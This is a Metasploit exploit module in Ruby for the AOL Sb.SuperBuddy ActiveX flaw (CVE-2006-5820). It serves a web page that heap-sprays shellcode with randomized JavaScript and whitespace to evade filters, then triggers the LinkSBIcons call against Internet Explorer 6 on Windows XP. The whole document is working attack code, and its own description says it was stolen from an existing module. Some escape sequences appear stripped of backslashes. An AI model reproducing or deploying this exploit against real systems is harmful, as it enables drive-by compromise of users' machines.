require \'msf/core\' module Msf class Exploits::Windows::Browser::AOL_SuperBuddy_LinkSBIcons < Msf::Exploit::Remote include Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, \'Name\' => \'AOL Sb.Superbuddy vulnerability\', \'Description\' => %q{ This module exploits a flaw in AOL Sb.SuperBuddy. We stole this code from a pre-existing metasploit module. }, \'License\' => MSF_LICENSE, \'Author\' => [ \'kradchad\', \'leetpete\' ], \'Version\' => \'0.1\', \'References\' => [ [ \'CVE\', \'CVE-2006-5820\'] ], \'Payload\' => { \'Space\' => 1024, \'BadChars\' => \"x00\", }, \'Platform\' => \'win\', \'Targets\' => [ [\'Windows XP SP0-SP2 / IE 6.0SP1 English\', {\'Ret\' => 0x0c0c0c0c} ] ], \'DefaultTarget\' => 0)) end def autofilter false end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address addr_word = [target.ret].pack(\'V\').unpack(\'H*\')[0][0,4] # Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) var_tic = rand_text_alpha(rand(30)+2) var_toc = rand_text_alpha(rand(30)+2) # Randomize HTML data html = rand_text_alpha(rand(30)+2) # Build out the message content = %Q| <html> <head> <script> try { var #{var_unescape} = unescape ; var #{var_shellcode} = #{var_unescape}( \"#{shellcode}\" ) ; var #{var_buffer} = #{var_unescape}( \"%u#{addr_word}\" ) ; while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ; var #{var_x} = new Array() ; for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ; } var #{var_tic} = new ActiveXObject( \'Sb.SuperBuddy.1\' ); try { #{var_tic}.LinkSBIcons( #{target.ret} ) ; } catch( e ) { } } catch( e ) { window.location = \'about:blank\' ; } </script> </head> <body> #{html} </body> </html> | # Randomize the whitespace in the document content.gsub!(/s+/) do |s| len = rand(100)+2 set = \"x09x20x0dx0a\" buf = \'\' while (buf.length < len) buf << set[rand(set.length)].chr end buf end print_status(\"Sending exploit to #{cli.peerhost}:#{cli.peerport}...\") # Transmit the response to the client send_response_html(cli, content) end end end
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